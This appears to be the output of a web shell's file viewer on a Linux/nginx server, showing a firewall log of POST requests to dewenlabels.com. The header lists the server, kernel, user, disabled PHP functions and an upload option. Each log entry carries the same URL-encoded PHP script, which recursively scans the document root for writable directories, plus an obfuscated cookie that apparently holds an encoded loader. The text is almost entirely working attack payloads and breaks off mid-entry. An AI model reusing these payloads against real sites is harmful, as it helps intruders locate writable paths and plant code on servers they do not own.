HEX
Server: nginx/1.26.1
System: Linux iZrj9cbdvwu1cot8sjlyzlZ 5.10.134-15.al8.x86_64 #1 SMP Thu Jul 20 00:44:04 CST 2023 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwlogs/free_waf_log/dewenlabels.com_2026-04-14.log
["2026-04-14 00:21:27","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> SO:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3339\nhost:dewenlabels.com\n\nSO=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-14 01:21:37","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> DM:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3339\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvER0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nDM=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-14 02:21:46","179.127.10.197","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> zE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3339\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nzE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-14 04:22:03","66.116.198.179","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> YD:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3339\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft 